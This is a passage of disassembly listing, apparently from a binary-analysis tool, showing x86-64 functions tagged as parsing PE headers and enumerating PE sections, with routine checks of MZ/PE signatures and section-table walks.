jne 0x1400031ce
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400031e0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400031b9
add rbx, 0x28
cmp rbx, rdi
je 0x1400031e0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400031b0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400031f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140012d80]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000326d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140003264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003210
add rax, 0x28
cmp rax, r9
jne 0x140003250
xor eax, eax
ret

Function at 0x140003270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140012d80]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000328f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000328f
movzx ecx, word [rax + 6]
mov eax, ecx
ret